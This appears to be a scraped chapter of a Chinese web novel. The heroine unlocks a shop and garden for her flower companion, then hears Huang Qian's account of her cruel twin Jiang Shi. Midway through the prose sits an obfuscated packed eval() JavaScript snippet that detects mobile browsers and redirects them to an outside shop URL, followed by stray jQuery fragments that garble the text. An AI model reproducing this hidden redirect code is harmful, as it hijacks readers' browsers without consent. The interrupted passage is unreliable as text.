22. 激进派营地:D3上午

作品:《末日漫画的工具人女主养花自救

    薛依梧于是装模作样地看了看空荡荡的手腕:“呀,我妈喊我回家吃饭啦,那个,有缘再见。”


    说着飞快地跑出了农贸市场。


    随着她迈出农贸市场的一瞬间,烟消云散,她又回到了自己一片纯白的精神图景。


    六子:【回来了?挣了多少钱?能开启商店吗?想要个椅子,能躺的那种。】


    薛依梧回过神来:“你一朵花要什么椅子?”


    六子:【就要就要就要!】


    【警告,您的花心情值骤降,请注意安抚它的情绪,以免花毁人亡。】


    薛依梧:“……知道了给你买椅子!从地上滚起来!”


    六子爬了起来。


    薛依梧发现它竟然是光脚:“花盆呢?”


    六子:【不舒服,不想穿。】


    薛依梧头疼,索性不管它,径直解锁商店。


    【已升级到lv.3,可解锁商店,是否花费三百兑换点解锁商店模块?】


    【已确认解锁商店模块,花费三百兑换点,余额七百兑换点。】


    【商店】


    【二十四小时开放,线下选购,送货上门,到货时限不超过二十四小时,回收二手商品,价格公道,童叟无欺。】


    意思是买了之后最慢可能要二十四小时才能收到货?


    薛依梧隐隐觉得这个商店不太靠谱。


    商店里有很多货架,但是薛依梧受困于目前的等级,只被允许选购一个基础货架上的商品。


    薛依梧扫了一眼。


    没有椅子,但是有廉价木板、简易工具和普通的营养剂。


    薛依梧不知道不普通的营养剂长什么样子,但是这个营养剂的名字就叫普通的营养剂。


    她看了看限购区,一般限购的商品都是必需品。


    限购:基础土壤(带草皮)X1,售价三百个兑换点。


    限购:天气(永久且随机)X1,售价三百个兑换点。


    两个限购如果都买下来的话直接干掉她六百个兑换点,薛依梧将会一夜返贫。


    薛依梧退出商店,赶在六子撒泼打滚之前说:“先别急,我去看看能不能解锁花园……我现在有挺多兑换点的,应该能解锁。”


    六子:【花园不需要用兑换点解锁。】


    薛依梧不明所以。


    她打开面板,【花园】模块仍然显示待解锁。


    六子循循善诱:【仔细想想,你要怎么拥有一个花园?】


    薛依梧:“直接告诉我,否则别想要椅子。”


    六子:【……】


    六子:【是画地为园,你需要划出一块你私人的土地,用以修建花园。】


    薛依梧恍然大悟。


    她先是购买了限购的带草皮土壤和天气。


    本来空荡荡的精神图景里瞬间一片绿色,并且有了一个蓝天。


    左上角显示着天气:晴朗微云。


    花费六百个兑换点,剩余一百个兑换点。


    薛依梧接着在商店里购入了一块木板和简易工具,花费二十五兑换点,剩余七十五兑换点。


    简易工具购买之后还有内部购买选项。


    薛依梧在一堆斧子凿子里选了一把小刀,额外花费五兑换点,剩余七十兑换点。


    六子忍不住吐槽:【能不能别那么抠门啊?至少买瓶胶水吧?】


    薛依梧:“椅子。”


    六子闭上了嘴。


    木板长一米,宽二十厘米,厚度不超过一厘米,名副其实的廉价木板。


    薛依梧用小刀划开木板,裁出一根长一米,宽五厘米的细长木条,然后再将剩下的部分一分为二,得到两块五十厘米X十五厘米的木板。


    薛依梧在五十厘米X十五厘米的木板上刻下了一个六字。


    想了想,又加了一个园字。


    接着她把一米X五厘米的细长木条从中间切开,留出一个三十厘米X1厘米的凹槽,然后把另一端削尖。


    六子很想吐槽,但是为了椅子,只能别过了头。


    薛依梧把削尖的木棍插进土壤边缘,然后把那块刻了字的板子卡了进去。


    用刀背敲敲,确定固定之后,薛依梧退后一步。


    嗯,【六园】,不错。


    【花园已解锁】


    【花园状态:荒芜】


    【您的植物受到花园的庇护,心情值+1,成长速度翻倍。】


    六子哼唧了一声。


    【身份卡已更新,解锁基础信息,请注意查看】


    【基础信息】


    【力量:3(很弱)】


    【爆发:1(病猫发威也不过是喵喵叫罢了)】


    【速度:4(很意外的数值)】


    【敏捷:4(可能因为你只有一米六几)】


    【闪避:5(多么可耻的数值)】


    【护盾:2(同情你)】


    【回血:6(请说,感谢六子!)】


    【综合评价:你是一个比起战斗更擅长逃跑,而且极其容易受伤的脆皮,因为你的植物系伴生体有疗愈的功效,所以你一旦受伤将会恢复得比别人更快,不过没关系,低护盾的你即使只是摔倒都有可能重伤呢。】


    薛依梧:……


    这括号里的吐槽包是六子。


    【身份卡已更新,解锁基础技能,请注意查看】


    【基础技能】


    薛依梧紧张地看下去——


    砰一声。


    她醒了。


    她躺在一个人的怀里。


    灯光刺眼,她眯着眼半天,才适应了这个程度的光线。


    黄芊的脸在白炽灯下仿若某种瓷器一般光滑无暇。


    薛依梧莫名觉得她应该心情很好。


    “总算醒了。”黄芊语气平淡。


    “你再不醒,我还发愁这粥要从哪里灌进去呢。”


    薛依梧这才注意到黄芊一手揽她在怀里,一手端着一碗肉丝粥。


    粥煮得很稠,大米粒粒绽开,肉丝也给得很足,油花很少,整体偏清淡。


    薛依梧挣扎着想要坐起来:“不麻烦了……”


    话没说完,人就被黄芊强硬地按了回去。


    薛依梧:?


    这人想干什么?


    “医生来给你检查过身体,说你没什么大碍,就是太过疲劳,可能受了冻,有些感冒。”


    黄芊说着,舀了一勺粥送到薛依梧嘴边。


    薛依梧没张嘴。


    黄芊笑起来:“你怕我在你的食物里动手脚?”


    “……”


    “就像是你对我弟弟做的那样吗?”


    她脸上的笑容渐渐淡去。


    然后叹了口气。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048035|193979||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>黄芊把碗放在一边,说:“我不是来兴师问罪的……你不是也知道吗?”


    “我知道什么?”


    薛依梧反问。


    黄芊不回答,只是搂着薛依梧的脖子,小声说:“想不想听故事?”


    薛依梧挣脱不得,只能无奈:“你讲。”


    黄芊笑笑。


    “其实,他不是我弟弟。”


    蒋石比黄芊早出生两个小时。龙凤胎,中间却隔了这么久,那一定是出问题了。


    蒋石个子太大,耗尽了母亲的所有力气,再生胎位不正的黄芊的时候,没了力气,陷入昏迷,大出血,人就这样没了。


    “家里大人们说,孩子没了妈妈可怜,得有个人照顾他,我出生害死了妈妈,所以我有责任,我就成了姐姐,姐姐照顾弟弟天经地义,从此以后,阿石就是我的弟弟了。”


    黄芊不擅长讲故事,语调呆板,平铺直叙,没有什么有意思的起伏。


    她又紧挨着薛依梧,嘴唇贴在她耳廓,湿润的气息虫子一样附上来。


    薛依梧只有忍耐。


    蒋石理所当然地被宠坏了。


    “他被人讨厌简直是理所应当的,要仔细说,我也算是帮凶。但我总是会想,他真的有那么坏吗?坏到你第一天见到他,就想杀了他吗?”


    薛依梧面色不改:“我不知道你在说什么。”


    黄芊短促地笑一声,她并不需要薛依梧的承认。


    “他是惹人讨厌的坏小子。”


    作为蒋石的姐姐,她再清楚不过了。


    蒋石会尾随在拾荒的老人身后,割破她的布袋,一角一角的钱掉出来,在老人蹒跚的脚步后缀成长尾,仿佛一条细长的排泄物一般行迹可怖。


    蒋石会打碎黄芊的化妆镜,把镜子碎片藏在袖口,在上课的时候故意把老师叫过来,老师弯下腰讲解的瞬间,裙下风光被定格在掌中碎片。


    蒋石会偷走便利店的针线盒,再随手把针插入车棚里的每一辆自行车车座。


    他灌装排泄物在饮料瓶里,骗弱智的孩子喝,他偷走女邻居晾晒的裤袜,诬陷楼下的鳏夫和她偷情。


    黄芊以一种麻木的姿态目睹这一切。


    多亏了蒋石,让她知道在如此狭窄的日常生活中,从桩桩件件无足轻重的小事中、能滋生出那么荒诞的罪恶来。


    细小的恶像是蛆虫一样冒出了头,在恶臭中长出翅膀,然后绕着她飞翔。


    黄芊能做事的事很少——她确实是蒋石的保护者,为他隔绝一切伤寒,但是反过来,她也尽可能地将蒋石隔绝在正常人之外,不让他的恶意泛滥成灾。


    “我生活的地区,在三个月前迎来了末日。”


    那是很普通的一个周二。


    蒋石因为欺负同学被停课在家,一觉睡到中午。


    黄芊上完课,回家给他做饭。


    厨房里很热,黄芊的刘海黏在脸上,有一个瞬间,她觉得自己快要死在这蒸笼一样的地方。


    等回过神来,她做好了简略的一餐,去敲蒋石的门。


    蒋石打开门,屋子里很黑。


    他养的爬虫全都不见了踪影。


    黄芊害怕冷血动物,从不肯进他的房间,那天却鬼使神差,想要推开门一探究竟。


    蒋石抵在门口,不让她进去。


    争执中,蒋石推倒了黄芊。